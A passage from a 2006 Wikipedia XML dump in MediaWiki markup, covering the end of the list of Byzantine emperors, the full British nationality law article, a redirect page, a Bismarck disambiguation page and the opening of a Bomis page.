*[[Manuel II Palaeologus]] (Μανουήλ Β' Παλαιολόγος) ([[1350]] - [[1425]], ruled [[1391]] - [[1425]]) &amp;ndash; son of John V
*[[John VII Palaeologus]] (Ιωάννης Ζ' Παλαιολόγος) (ruled [[1399]] - [[1402]]) &amp;ndash; restored as coemperor
*[[John VIII Palaeologus]] (Ιωάννης Η' Παλαιολόγος) ([[1392]] - [[1448]], ruled [[1425]] - [[1448]]) &amp;ndash; son of Manuel II
*[[Constantine XI]] Palaeologus Dragatses (Κωνσταντίνος ΙΑ' Παλαιολόγος Δραγάτσης) ([[1405]] - [[1453]], ruled [[1449]] - [[1453]]) &amp;ndash; son of Manuel II, not crowned in Constantinople, died on the walls

===Ottomans===
In 1453 [[Mehmed II]] overthrew the Byzantine Empire and claimed the title of [[Caesar (title)|Caesar]]; his successors continued this claim. See [[Ottomans]] for the complete list of Ottoman sultans.

==[[Palaeologus|Palaeologid Dynasty]] (in exile)==
*[[Thomas Palaeologus|Thomas]] Palaeologus (Θωμάς Παλαιολόγος) ([[1409]] or [[1410|10]] - [[1465]]) &amp;ndash; brother of Constantine XI; died in exile in Rome
*[[Andreas Palaeologus|Andreas]] Palaeologus (Ανδρέας Παλαιολόγος) ([[1453]] - [[1502]]) &amp;ndash; son of Thomas; created [[despotism|Despot]] by [[Pope Pius II]], self-styled &lt;small&gt;imperator Constantinopolitanus&lt;/small&gt;; sold titles to [[Charles VIII of France|Charles VIII]] in 1494 and granted the remainder to King [[Ferdinand II of Aragon|Ferran II]] of Aragon and Queen [[Isabella of Castile|Isabel]] of Castille in his will.

==See also==
*[[List of Roman Emperors|Early Roman Emperors]]
*[[Byzantine Empire]]
*[[Latin Empire]]
*[[List of Byzantine Empire-related topics]]


[[Category:Byzantine emperors| ]]
[[Category:Byzantine Empire]]
[[Category:Lists of monarchs|Byzantine Empire]]
[[Category:Lists of office-holders|Byzantine Empire]]
[[Category:Ancient Roman titles]]

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[[bg:Император на Византийската империя]]
[[cs:Seznam byzantských císařů]]
[[cy:Rhestr Ymerodron Caergystennin]]
[[de:Liste der byzantinischen Kaiser]]
[[et:Ida-Rooma keisrite loend]]
[[es:Emperadores bizantinos]]
[[eo:Listo de orient-romiaj imperiestroj]]
[[fr:Liste des empereurs byzantins]]
[[gl:Lista de Emperadores Bizantinos]]
[[hr:Popis bizantskih careva]]
[[it:Imperatori bizantini]]
[[he:קיסרי ביזנטיון]]
[[hu:Bizánci császárok listája]]
[[mk:Византиски владетели]]
[[ms:Daftar Maharaja Byzantine]]
[[nl:Lijst van Byzantijnse keizers]]
[[no:Liste over østromerske keisere]]
[[pl:Cesarze bizantyjscy]]
[[pt:Lista de imperadores bizantinos]]
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[[zh:拜占庭皇帝列表]]</text>
    </revision>
  </page>
  <page>
    <title>British nationality law</title>
    <id>4017</id>
    <revision>
      <id>41783753</id>
      <timestamp>2006-03-01T18:51:49Z</timestamp>
      <contributor>
        <username>EdC</username>
        <id>892739</id>
      </contributor>
      <minor />
      <comment>/* Classes of British nationality */ link [[stateless person]]</comment>
      <text xml:space="preserve">: ''This article is for information only and is not a substitute for legal advice tailored to your personal circumstances. Readers who require advice on UK nationality or immigration law should contact a [[solicitor]] or an adviser registered with the [http://www.oisc.gov.uk Office of the Immigration Services Commissioner].''

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[[image:Flag of the United Kingdom.svg|right|200px]]
[[image:UK_Royal_Coat_of_Arms.png|right|200px]]


The '''United Kingdom''' has arguably the world's most complex '''nationality laws''', because of its former status as an [[imperialism|imperial]] power.

==History==
''Main article: [[History of British nationality law]]''

[[English law]] and [[Scots law]] has always distinguished between the Monarch's subjects and aliens. Until [[1914]] British nationality law was largely uncodified. The British Nationality and Status of Aliens Act 1914 codified existing common law and statute, with a few minor changes.

With the development of the modern [[Commonwealth of Nations]] in the [[20th century]], the single Imperial status of [[British subject]] was increasingly inadequate to deal with the realities of a Commonwealth with independent member states. In [[1948]], the Commonwealth [[head of government|Heads of Government]] agreed that each member would adopt a national citizenship, but that the existing status of British subject would continue to be a common status held by all [[Commonwealth citizen]]s.

The British Nationality Act 1948 established the status of ''Citizen of the United Kingdom and Colonies'' (CUKC), the national citizenship of the United Kingdom and those places that were still British [[crown colony|colonies]] on [[1 January]] [[1949]], when the 1948 Act came into force. However, until the early [[1960s]] there was little difference, if any, in United Kingdom law between the rights of CUKCs and other British subjects, all of whom had the right at any time to enter and live in the United Kingdom.

Between [[1962]] and [[1971]], as a result of fears about increasing immigration by Commonwealth citizens from [[Asia]] and [[Africa]], the United Kingdom gradually tightened controls on immigration by British subjects from other parts of the Commonwealth. The Immigration Act 1971 introduced the concept of ''patriality'', by which only British subjects with sufficiently strong links to the United Kingdom and Islands (i.e. the United Kingdom, the [[Channel Islands]] and the [[Isle of Man]]) had ''right of abode'', the right to live and work in the United Kingdom and Islands.

Although there have been several amendments to the 1981 Act in the intervening years, the principal British nationality law today is the British Nationality Act [[1981]], which established the current system of multiple categories of British nationality, viz. ''British citizens'', ''British Overseas Territories citizens'', ''British Overseas citizens'', ''British Nationals (Overseas)'', ''British subjects'' and ''British protected persons''. Only British citizenship includes the automatic right of abode in the United Kingdom. 

The 1981 Act also ceased to recognise Commonwealth citizens as British subjects. There remain only two categories of people who are still British subjects: some people (formerly known as British subjects without citizenship) who originally acquired British nationality through a connection with former British India, and also a number of people connected with the south of Ireland before 1949 who have made a declaration to retain British nationality. Those British subjects connected with former British India *lose* British nationality if they acquire any other.

==Classes of British nationality==

There are currently several classes of British national:

* British citizens 

:British Citizens usually hold this status through a connection with the United Kingdom, Channel Islands and Isle of Man (&quot;United Kingdom and Islands&quot;).   Former Citizens of the United Kingdom and Colonies (CUKCs) who possessed right of abode under the Immigration Act 1971 through a connection with the United Kingdom and Islands generally became British citizens on [[1 January]] [[1983]].

:British citizenship is the most common type of British nationality, and the only one that automatically carries a right of abode in the United Kingdom.

* [[British Overseas Territories citizen]]s (formerly British Dependent Territories citizenship) (BOTC)

:BOTC (formerly BDTC) is the form of British nationality held by connection with an existing [[crown colony|overseas territory]].  Nearly all are now also British citizens as a result of the British Overseas Territories Act 2002.  It is possible to hold BOTC and British citizenship simultaneously.

* [[British Overseas citizen]]s (BOC)

:BOCs are those former CUKCs who did not qualify for either British citizenship or British Dependent Territories citizenship. Most of these derived their status as CUKCs from former colonies, such as [[Malaysia]] and [[Kenya]].

* [[British subject]]s

:British subjects (as defined in the 1981 Act) are those British subjects who were not CUKCs or citizens of any other Commonwealth country. Most of these derived their status as British subjects from [[British India]] or [[Ireland]].

* [[British protected person]]s (BPP)

:BPPs derive from those parts of the [[British Empire]] which were not officially part of the Crown's dominions, but were instead [[protectorate]]s or [[protected state]]s with nominally independent rulers under the &quot;protection&quot; of the British Crown.

* [[British National (Overseas)|British Nationals (Overseas)]] (BNO)

:The status of BNO did not originally exist under the 1981 scheme, but was created by the Hong Kong Act 1985 and the British Nationality (Hong Kong) Order 1986. BNOs are those former [[Hong Kong]] BDTCs who applied for the status of BNO prior to the handover of Hong Kong to the [[People's Republic of China]]. Hong Kong BDTCs who did not apply to become BNOs, and who did not gain [[Chinese nationality law|PRC nationality]] after the handover, became BOCs if they did not have any other nationality. 

Of the various classes of British nationality, all except British citizenship and British Overseas Territories citizenship are residual categories. This means that they will become extinct with the passage of time, as they can only be passed down to the national's children in exceptional circumstances, e.g. if the child would otherwise be [[Stateless person|stateless]]. There is, consequently, little provision for the acquisition of these classes of nationality by people who do not already have them.

==British nationality and Hong Kong==
''Main article: [[British nationality and Hong Kong]]''

Most former BDTCs by virtue of a connection with the former dependent territory of Hong Kong will now either be British Nationals (Overseas) (with or without citizenship of the [[People's Republic of China]]), British Overseas citizens, or solely citizens of the PRC (The deadline for registering as a British National (Overseas) passed in 1997). 

In some cases, former BTDCs from Hong Kong have been able to acquire British citizenship (BC) under special legislation passed in 1990, 1996 and 1997.  In other cases, some former Hong Kong BDTCs hold British citizenship as a matter of entitlement or through acquisition under normal rules.

Most of these British nationals (BC and BNO) aforementioned have been recognized by the [[People's Republic of China]] as its citizens before and after the handover of Hong Kong. These PRC citizens of Hong Kong origin have been categorised differently from other PRC nationals from [[Macau]] and [[Mainland China]]. See the articles [[HKSAR passport]] and [[Home Return Permit]].

== Acquisition of British citizenship ==

British Citizenship can be acquired in the following ways:
# ''[[lex solis]]'': By birth in the United Kingdom to a parent who is a British citizen at the time of the birth, or to a parent who is settled in the United Kingdom 
# ''[[lex sanguinis]]'': By descent if one of the parents is a British citizen otherwise than by descent (for example by birth, adoption, registration or naturalisation in the United Kingdom)
# By naturalisation
# By registration
# By adoption

[http://www.ind.homeoffice.gov.uk/ind/en/home/applying/british_nationality/advice_about_nationality.html? Leaflets and advice] which give information about how British citizenship and other kinds of British nationality can be held, applied for or renounced are available from the Home Office Immigration and Nationality Directorate. Information is also available on [http://www.ind.homeoffice.gov.uk/ind/en/home/applying/british_nationality/advice_about_nationality/bn5_-_provisions_for.html provisions for reducing statelessness].

Persons acquiring citizenship by method (2) are called citizens by descent, while citizens acquiring citizenship by methods (1), (3) or (5) are called citizens otherwise than by descent. British citizens by registration, method (4), may be either, depending on the circumstances. Only citizens otherwise than by descent can pass on their citizenship to their children born outside the UK automatically; citizens by descent can only pass on citizenship to their non-UK born children by registering them.

=== British citizenship by birth in the United Kingdom ===

A child born in the UK to a parent who is a British citizen or 'settled' in the UK is automatically a British citizen by birth

* only ''one'' parent must meet this requirement, either the father or the mother.
* &quot;settled&quot; status usually means the parent is resident in the United Kingdom and holds Indefinite Leave to Remain (ILR) or Right of Abode.  Irish citizens are automatically deemed to hold ILR.  
* For children born before [[2 October]] [[2000]], most parents from EU or EEA states were considered &quot;settled&quot; automatically.  From that date this applies only in exceptional cases for those not from the Republic of Ireland.
* if only the father meets this requirement, the parents must be married. Marriage subsequent to the birth is normally enough to confer British citizenship from that point.  
* where the father is not married to the mother, the Home Office will usually register the child as British provided an application is made and the child would have been British otherwise.  The child must be aged under 18 on the date of application.
* where a parent subsequently acquires British citizenship or &quot;settled&quot; status the child can be registered as British provided he or she is still aged under 18
* if the child lives in the UK until age 10 there is a lifetime entitlement to register as a British citizen.  The immigration status of the child and its parents is irrelevant.
* Special provisions may apply for the child to acquire British citizenship if a parent is a British Overseas citizen or British subject, or if the child is stateless.

Before 1983, birth in the UK was sufficient to confer British nationality irrespective of the status of parents, with an exception only for children of diplomats and enemy aliens.  This exception did not apply to most visiting forces, so, in general, children born in the UK before 1983 to visiting military personnel (eg US forces stationed in the UK) are British citizens by birth.

=== British Citizenship by descent ===

Rules for acquiring British citizenship by descent depend on when the person was born.

==== From 1983 ====

A child born outside the UK on or after [[1 January]] [[1983]] will automatically acquire British citizenship ''by descent'' if ''either'' parent is a British citizen ''otherwise than by descent'' at the time of the birth.

* only ''one'' parent needs to be British ''otherwise than by descent'' - either the father or the mother.
* an unmarried father cannot pass on British citizenship automatically.  Although if the parents marry subsequent to the birth the child normally will become a British citizen at that point if ''legitimated'' by the marriage and the father was eligible to pass on British citizenship
* failing the above the child can be registered as British if it would have been British if parents were married and application is made before the child is 18.
* where the parent is a British citizen ''by descent'' additional requirements apply.  In the most common scenario, normally the parent is expected to have lived in the UK for three years and apply for the child to be registered as a British citizen within 12 months of the birth.
* For British nationality purposes the Isle of Man and Channel Islands are treated as though they were part of the UK.
* Before [[21 May]] [[2002]], British Overseas Territories were treated as 'overseas' for nationality purposes.  The exception was the Falkland Islands.  For children born on or after [[21 May]] [[2002]] in a British Overseas Territory (other than the Sovereign Base Areas of Cyprus) there is an entitlement to British citizenship on the same basis as UK born children.
* Children born overseas to parents on ''Crown Service'' are normally granted British citizenship ''otherwise than by descent''.  In other words, their status is the same as it would have been had they been born in the UK.
* In exceptional cases, the Home Secretary may register an child of parents who are British ''by descent'' as a British citizen under discretionary provisions, for example if the child is stateless.

==== Prior to 1983 ====
  
Prior to 1983, as a general rule British nationality could only be transmitted from the father through one generation only, and parents were required to be married.  See [[History of British nationality law]].

With effect from [[30 April]] [[2003]], a person born outside the UK to a British mother may be entitled to register as a British citizen ''by descent'' if that person was born between [[8 February]] [[1961]] and [[31 December]] [[1982]].  However those with permanent resident status in the UK, or entitled to Right of Abode, may instead prefer to seek ''naturalisation'' as a British citizen which gives transmissible British citizenship ''otherwise than by descent''.

=== British citizenship by adoption ===

A child adopted by a British citizen only acquires British citizenship ''automatically'' if:

* the adoption order is made by a court in the United Kingdom, Channel Islands, Isle of Man or Falkland Islands on or after [[1 January]] [[1983]], or in another British Overseas Territory on or after [[21 May]] [[2002]]; or
* it is a Convention adoption under the ''1993 Hague Convention on Intercountry Adoptions'' effected on or after [[1 June]] [[2003]] and the adopters are habitually resident in the United Kingdom on that date.

In both cases, at least one adoptive parent must be a British citizen on the date of the adoption.

In all other cases, an application for registration of the child as a British citizen must be made before the child is age 18.  Usually this will be granted provided the Secretary of State accepts the adoption is ''bona fide'' and the child would have been a British citizen if the natural child of the adopters.  Usually the adoption must have taken place under the law of a 'designated country' (most developed nations along with some others are 'designated' for this purpose) and be recognised in the UK.  This is the standard method for children adopted by British citizens permanently resident overseas to acquire British citizenship.

The cancellation or annulment of an adoption order does not cause loss of British citizenship acquired by that adoption.

British children adopted by non-British nationals do not lose British nationality, even if they acquire a foreign nationality as a result of the adoption.

=== Requirements for naturalisation as a British citizen ===

The requirements for naturalisation as a British citizen depend on whether one is married to a British citizen or not.  

For those married to a British citizen the applicant must:
* hold indefinite leave to remain in the UK (or an equivalent such as Right of Abode or Irish citizenship)
* have lived legally in the UK for three years
* show sufficient knowledge of life in the UK, either by passing the [[Life in the United Kingdom test]] or by attending combined English language and citizenship classes. Proof of this must be supplied with one's application for naturalisation.  Exemption for this and the language requirement (see below) is normally granted for those aged 65 or over, and may be granted to those aged between 60 and 65.
* meet specified [[English language|English]], [[Welsh language|Welsh]] or [[Scottish Gaelic language]] competence standards.   Those who pass the ''Life in the UK test'' are deemed to meet English language requirements. 

For those not married to a British citizen the requirements are
* five years legal residence in the UK
* indefinite leave to remain or equivalent must have been held for 12 months
* the applicant must intend to continue to live in the UK or work overseas for the UK government or a British corporation or association.  
* the same language and knowledge of life in the UK standards apply as for those married to British citizens

All applicants for naturalisation must be of &quot;good character&quot;.  Naturalisation is at the discretion of the relevant authority but is normally granted if the requirements are met.

Those applying for British citizenship in the Channel Islands and Isle of Man (where the application is mainly based on residence in the Crown Dependencies rather than the UK itself) will not have to sit the Life in the UK Test where application is made before [[1 May]] [[2006]].   The provisions for proving knowledge of English, Welsh or Scottish Gaelic remain unchanged until that date for applicants in the Crown Dependencies.  [http://www.ind.homeoffice.gov.uk/ind/en/home/laws___policy/policy_instructions/nis/chapter_18/annex_e.html Details]

=== Citizens of EEA States and Switzerland ===

Since [[2 October]] [[2000]], the [[Immigration (European Economic Area) Regulations]] have provided that with only a few exceptions, citizens of EU and [[European Economic Area]] states are not generally considered to be &quot;settled&quot; in the UK unless they apply for and obtain [[Indefinite Leave to Remain]].  This is relevant in terms of eligibility to apply for naturalisation or obtaining British citizenship for UK born children (born on or after [[2 October]] [[2000]]).  

Irish citizens, because of the [[Common Travel Area]] provisions beween the UK and Republic of Ireland, are exempt from these restrictions.

From [[1 June]] [[2002]], citizens of [[Switzerland]] are accorded EEA rights in the United Kingdom.

Children born in the UK to EU/EEA/Swiss parents who are not British citizens automatically may be registered as British citizens under the concessions provided in the law for UK born children.  Most notably, the facility to be registered as British if a parent ''subsequently'' acquires ''settled status'' (or British citizenship), or if the child lives in the UK until age 10.

=== Registration as a British citizen ===

Registration is a simpler method of acquiring citizenship than naturalisation, but only certain people are eligible for it.  

British nationals (other than British citizens) who have indefinite leave to remain in the UK or right of abode, are eligible for British citizenship by registration after five years' residence in the United Kingdom.  This is an entitlement under s4 of the 1981 Act (''section 4 registration'').

Other cases where persons may be entitled to registration (either as a matter of law or policy) include:

* children born in the UK where a parent obtains British citizenship or indefinite leave to remain after the child is born
* children born in the UK who live in the UK until age 10.
* children born to a British father who is not married to the mother
* British Overseas citizens, British subjects and British protected persons who have no other nationality
* certain British nationals from Hong Kong who meet the requirements of the Hong Kong (War Wives and Widows) Act 1996 or the British Nationality (Hong Kong) Act 1997
* persons born outside the UK to a British born or naturalised mother between 1961 and 1982
* certain children born outside the UK to a British citizen ''by descent''
* certain children born in the UK who are ''stateless''
* persons who acquire ''British overseas territories citizenship'' after [[21 May]] [[2002]] (except those connected solely with the Sovereign Base Areas of Cyprus)
* children under 18 who are adopted outside the United Kingdom by British citizens
* former British citizens who renounced British citizenship

==Acquisition of British Overseas Territories citizenship==

The British Nationality Act 1981 contains provisions for acquisition and loss of ''British Overseas Territories citizenship'' (BOTC) on a broadly similar basis to those for British citizenship.  See [[British Overseas Territories citizen]]

The Home Secretary has delegated his powers to grant BOTC to the Governors of the Overseas Territories.  Only in exceptional cases will a person be registered or naturalised as a BOTC by the Home Office in the United Kingdom.

On [[21 May]] [[2002]] any BOTC who did not hold British citizenship (except those from the Sovereign Base Areas) automatically acquired it under the ''British Overseas Territories Act 2002''.  Those acquring BOTC after that date are entitled to register as British citizens under s4A of the 1981 Act. [[History of British nationality law]]

==Acquisition of other categories of British nationality==

It is unusual for a person to be able to acquire British Overseas citizenship, British subject or British protected person status.  They are not generally transmissable by descent, and nor are they open to acquisition by registration, except for certain instances to prevent ''statelessness''

There is no provision to acquire British National (Overseas) although stateless children born to such persons may be entitled to British Overseas citizenship.

Any person who holds British Overseas citizenship, British subject status, or British protected person status, may register as a British citizen if they have no other nationality and have not lost or renounced any other nationality since [[4 July]] [[2002]].

=== Persons connected with former British colonies ===

British Overseas citizenship is generally held by persons connected with former British colonies.   The largest group are connected with Penang and Malacca (now part of Malaysia) before [[31 August]] [[1957]].   See [[British Overseas citizen]]

=== Persons born in the Republic of Ireland ===

Approximately 800,000 persons born before 1949 and connected with the Republic of Ireland remain entitled to claim British subject status under section 31 of the 1981 Act.  See also [[British nationality and the Republic of Ireland]]

=== Descendants of the Electress Sophia of Hanover ===   
  
Eligible descendants from the [[Electress Sophia of Hanover]] may hold British Overseas citizenship based on their status as British subjects before 1949.  Where such a person acquired a right of abode in the UK before 1983, it is possible for British citizenship to have been acquired. See also [[History of British nationality law]] and [[Sophia Naturalisation Act]]

==Loss of British nationality==

=== Renunciation and resumption of British nationality ===

All categories of British nationality can be renounced by a declaration made to the [[Home Secretary|Secretary of State for the Home Department]]. A person ceases to be a British national on the date that the declaration of renunciation is registered by the Home Secretary. If a declaration is registered in the expectation of acquiring another citizenship, but one is not acquired within six months of the registration, it does not take effect and you are considered to have remained a British national. 

Renunciations made to other authorities are invalid: e.g., a general renunciation made upon taking up U.S. citizenship. 

There are provisions for the resumption of British citizenship or British overseas territories citizenship renounced for the purpose of gaining or retaining another citizenship. This can generally only be done once as a matter of entitlement.  Further opportunities to resume British citizenship are discretionary.

British subjects, British Overseas citizens and British Nationals (Overseas) cannot under any circumstances resume their British nationality after renunciation.

=== Automatic loss of British nationality ===

British subjects (other than British subjects by virtue of a connection with the Republic of Ireland) and British protected persons will lose their British nationality upon acquiring any other form of nationality, whether British, Commonwealth or foreign.

* These provisions do not apply to British citizens.
* British Overseas Territories citizens (BOTCs) who acquire another nationality do not lose BOTC status.  However they may be liable to lose [[Belonger status]] in their home territory under its immigration laws.  Such persons are advised to contact the Governor of that territory for information.
* British Overseas citizens (BOC) do not lose BOC upon acquisition of another citizenship.  However any entitlement to registration as a British citizen on the grounds of having no other nationality will no longer exist after acquiring another citizenship.

=== Deprivation of British nationality ===

Under amendments made by the [http://www.opsi.gov.uk/acts/acts2002/20020041.htm Nationality, Immigration and Asylum Act 2002], British nationals can be deprived of their citizenship if the Secretary of State is satisfied they are responsible for acts seriously prejudicial to the vital interests of the United Kingdom or an Overseas Territory. This provision only applies to dual nationals — it is not applicable if deprivation would result in a person's statelessness.

British nationals who are ''naturalised'' or ''registered'' may have their certificates revoked (and hence lose British nationality) if:
* British nationality was obtained by fraud or concealment of material facts
* the person, within five years of being granted citizenship, receives a prison sentence exceeding 12 months (although not if the person would otherwise be stateless).

== Dual nationality and dual citizenship ==

In general there is no restriction, in United Kingdom law, on a British national being a citizen of another country as well. So, if a British national acquires another nationality, they will not automatically lose British nationality. Similarly, a person does not need to give up any other nationality when they become British. 

Different rules apply in the cases of British protected persons and certain British subjects. A person who is a British subject otherwise than by connection with the Republic of Ireland will lose that status on acquiring any other nationality or citizenship. Similarly, a British protected person will no longer be a British protected person on acquiring any other nationality or citizenship.  Although British Overseas citizens are not subject to loss of citizenship, a British Overseas citizen may lose an entitlement to register as a British citizen under s4B of the 1981 Act if he acquires any other citizenship.

Many other countries, however, do not allow dual nationality (''see [[Multiple citizenship]]''). If you have British nationality, and are also a national of a country which does not allow dual nationality, the authorities of that country may either regard you as having lost that nationality or may refuse to recognise your British nationality. If you are a British national, and you acquire the nationality of a country which does not allow dual nationality, you may be required by the other country to renounce (give up) your British nationality in order to retain the other citizenship.

Under international law, a State may not give diplomatic protection to one of its nationals in a country whose citizenship that person also holds. For example, if you are British and have another nationality, for example, American, and are visiting the [[United States]], a British [[Consul]] in the United States cannot give you diplomatic help.

A British person who acquired a foreign citizenship by naturalisation before 1949 may have lost British nationality at the time.  No specific provisions were made in the 1948 legislation for such former British subjects to acquire or otherwise resume British nationality, and hence such a person would not be a British citizen today.  However women who lost British nationality on marriage to a foreign man before 1949 were deemed to have re-acquired British subject status immediately before the coming into force of the 1948 Act.

==British citizenship ceremonies==

With effect from [[1 January]] [[2004]], all '''new''' applicants for British citizenship by naturalisation or registration who are aged 18 or over when the application is decided must attend a citizenship ceremony and take an Oath and Pledge to the United Kingdom.

Citizenship ceremonies are normally organised by:
* local councils in England, Scotland and Wales
* the Northern Ireland Office
* the governments of the [[Isle of Man]], [[Jersey]] and [[Guernsey]]
* the Governors of British Overseas Territories
* British consular offices outside the United Kingdom and Territories.

Persons from the [[Republic of Ireland]] (born before 1949) reclaiming [[British subject]] status under section 31 of the 1981 Act do not need to attend a citizenship ceremony.  However should such a person subsequently apply for British citizenship by registration or naturalisation, attendance at a ceremony will be required.

For those who applied for British citizenship prior to 2004:
* the oath of allegiance was administered privately through signing a witnessed form in front of a solicitor or other accredited person
* those who already held British nationality (other than [[British protected person|British protected persons]]) were exempt, as were those citizens of countries with the Queen as Head of State (such as [[Australia]] or [[Canada]]).

==European citizenship==

British nationals who are &quot;United Kingdom nationals for Community purposes&quot;, namely:

* British citizens;
* British subjects with the right of abode; and
* British Overseas Territories citizens connected to [[Gibraltar]]

are ''European citizens'' under [[European law]].

However, British citizens who connected with the Channel Islands and Isle of Man do not have the right to live in other European Union countries (except the Republic of Ireland) unless they have connections though descent or residence with the United Kingdom itself.

==Recent nationality legislation==

Recent changes to the law include the British Overseas Territories Act 2002 and Nationality, Immigration and Asylum Act 2002.  These have:

* conferred full British citizenship on virtually all ''British overseas territories citizens''
* introduced a facility for otherwise stateless ''British Overseas citizens'', ''British subjects'' and ''British protected persons'' to register as British citizens (by descent).
* allowed those born overseas to British born or naturalised mothers between 1961 and 1982 to register as British citizens by descent.
* introduced mandatory citizenship ceremonies for those applying for registration or naturalisation as a British citizen

See also [[History of British nationality law]]

==Statistics on British Citizenship ==

The Home Office ''Research and Statistics Division'' publishes an annual report with statistics on grants of British citizenship broken down by type and former nationality.  Since 2003, the report has also included research on take-up rates for British citizenship.
*[http://www.homeoffice.gov.uk/rds/pdfs05/hosb0805.pdf Persons Granted British Citizenship, 2004 (pdf)]
*[http://www.homeoffice.gov.uk/rds/pdfs04/hosb0704.pdf Persons Granted British Citizenship, 2003 (pdf)]

==See also==
*[[United Kingdom passports]]
*[[Britishness test]]
*[[Immigration to the United Kingdom]]
*[[Citizen Information Project]]
*[[Multiple citizenship]]
*[[UK topics]]
*[[Immigration arrangements for British passport holders from Hong Kong visiting the Republic of China (Taiwan)]]
*[[Indefinite Leave to Remain]]
*[[British nationality and the Republic of Ireland]]
*[[History of British nationality law]]
*[[British nationality law and Hong Kong]]

==External links==
*[http://www.coe.int/T/E/Legal_Affairs/Legal_co-operation/Foreigners_and_citizens/Nationality/Documents/National_legislation/UK%20Falkland%20Islands.pdf British Nationality (Falkland Islands) Act 1983]
*[http://www.democracy.org.hk/en/apr1999/op_01.htm Emily Lau's Letter to former Foreign Secretary [[Robin Cook]]] (In the letter [[Emily Lau|she]] urges the UK to include Hong Kong in its [http://news.bbc.co.uk/2/hi/uk_news/politics/298408.stm offer to extend British citizenship to colonial citizens])
*[[Sanjay Shah]], a British Overseas citizen passport holder, spent the 13 months living in the duty free section of Nairobi's Jomo Kenyatta airport, petitioning for full British Citizenship. [http://news.bbc.co.uk/2/hi/africa/4635011.stm] [http://www.iht.com/articles/2005/06/30/news/journal.php] [http://www.nytimes.com/2005/06/30/international/africa/30airport.html?8hpib=&amp;pagewanted=print] [http://www.etaiwannews.com/Perspective/2005/07/01/1120185081.htm]
*[http://www.ind.homeoffice.gov.uk/ind/en/home/laws___policy/policy_instructions/nis.html Home Office Nationality Instructions (British nationality policy and background notes)]
*British Nationality Acts: [http://www.uniset.ca/naty/BNA1981revd.htm 1981], [http://www.uniset.ca/naty/BNA1965.htm 1965], [http://www.uniset.ca/naty/BNA1964.htm 1964], [http://www.uniset.ca/naty/BNA1958.htm 1958], [http://www.uniset.ca/naty/BNA1948.htm 1948], [http://www.uniset.ca/naty/BNA1772.htm 1772], [http://www.uniset.ca/naty/BNA1730.htm 1730]
*[http://bhc.britaus.net/passports/passportsdefault.asp?id=376 Registration of a Child of an Unmarried British Father as a British Citizen (information from British High Commission, Canberra)]
*[http://www.southern-cross-group.org/anothercitizenship/uk.html Southern Cross Group - Acquiring Another Citizenship - United Kingdom]
*[http://news.bbc.co.uk/onthisday/hi/dates/stories/february/24/newsid_2518000/2518513.stm 1971: UK restricts Commonwealth migrants]

[[Category:International law]]
[[Category:United Kingdom law|Nationality law]]
[[category:Immigration to the United Kingdom|Nationality law]]
[[Category:International relations]]
[[Category:Nationality law]]</text>
    </revision>
  </page>
  <page>
    <title>Basic Set Theory</title>
    <id>4018</id>
    <revision>
      <id>15902320</id>
      <timestamp>2004-12-27T06:31:21Z</timestamp>
      <contributor>
        <username>Wile E. Heresiarch</username>
        <id>35683</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/WhisperToMe|WhisperToMe]] to last version by Wile E. Heresiarch</comment>
      <text xml:space="preserve">#REDIRECT [[Naive set theory]]</text>
    </revision>
  </page>
  <page>
    <title>Bismarck (disambiguation)</title>
    <id>4019</id>
    <revision>
      <id>39457336</id>
      <timestamp>2006-02-13T06:25:58Z</timestamp>
      <contributor>
        <ip>203.240.254.231</ip>
      </contributor>
      <comment>+ko</comment>
      <text xml:space="preserve">'''Bismarck''' is a name usually associated with [[Otto von Bismarck]], the great German statesman of the 19th century.  Places and things named after Otto von Bismarck include:
* ''[[Fürst Bismarck]]'', a [[Mackensen class battlecruiser]] of the German navy, still under construction at the time of the 1918 Armistice and never completed. 
* [[German battleship Bismarck|''Bismarck'']], a battleship of the German navy during WWII
** [[Expedition: Bismarck]], a 2002 documentary about battleship Bismarck.
* the [[Bismarck Sea]], north of the island of New Guinea
* the [[Bismarck Archipelago]], a part of Papua New Guinea
* [[Bismarck, Arkansas]]
* [[Bismarck, North Dakota]], that state's [[capital]]
* [[Bismark, Ontario]], a hamlet at the junction of [[Highway 20]] and [[Highway 57]]
* [[Bismarck (doughnut)]], a German-style filled [[doughnut]] with jelly or preserves baked within, as distinguished from a ''kettle doughnut'' which is served open-faced with the filling in the center
* Bismarck, an alcoholic cocktail also known as a [[Black Velvet (cocktail)|Black Velvet]]

Other historical figures named Bismarck include:
* [[Herebord von Bismarck]], the first verifiable holder of the name (from the 13th century)
* [[Ludolf August von Bismarck]] (1683-1750), a Russian General
* [[Levin Friedrich von Bismarck]] (1703-1774), a Prussian Attorney General
* [[August Wilhelm von Bismarck]] (1750-1783), a Prussian Finance Minister
* [[Friedrich Alexander Graf von Bismarck-Bohlen]] (1818-1894), a Prussian General
* [[Herbert von Bismarck]] (1849-1904), Secretary of State, son of Otto von Bismarck
* [[Gottfried von Bismarck]] (1881-1928)
* [[Bernhard von Bismarck]]
* [[Otto Fürst von Bismarck]] (1897-1975), a German politician of the CDU party, grandson of Otto von Bismarck
* [[Gottfried Graf von Bismarck-Schönhausen]] (1901-1949), a Nazi parliamentary representative, grandson of Otto von Bismarck
* [[Philipp von Bismarck]] (*1913), a German politician of the CDU party
* [[Klaus von Bismarck]], 1961-1976, and administrator of a German radio station
* [[Gunilla von Bismarck]] (*1949), great-granddaughter of Otto von Bismarck, a German philanthropist
* [[Carl-Eduard von Bismarck]] (*1961), great-great-grandson of Otto von Bismarck, a German politician
* [[Aurel von Bismarck]], a musician and composer

{{disambig}}

[[bg:Бисмарк]]
[[cs:Bismarck]]
[[de:Bismarck (Begriffsklärung)]]
[[fr:Bismarck]]
[[it:Bismarck]]
[[ko:비스마르크]]
[[he:ביסמרק (פירושונים)]]
[[nl:Bismarck]]
[[ja:ビスマルク]]
[[pl:Bismarck]]
[[pt:Bismarck]]
[[fi:Bismarck]]
[[sv:Bismarck]]
[[th:บิสมาร์ก]]</text>
    </revision>
  </page>
  <page>
    <title>Bomis</title>
    <id>4020</id>
    <revision>
      <id>41763921</id>
      <timestamp>2006-03-01T15:58:34Z</timestamp>
      <contributor>
        <username>Optichan</username>
        <id>178811</id>
      </contributor>
      <comment>{{cite web}}</comment>
      <text xml:space="preserve">[[Image:Bomislogo.gif|right|The Bomis Logo]]
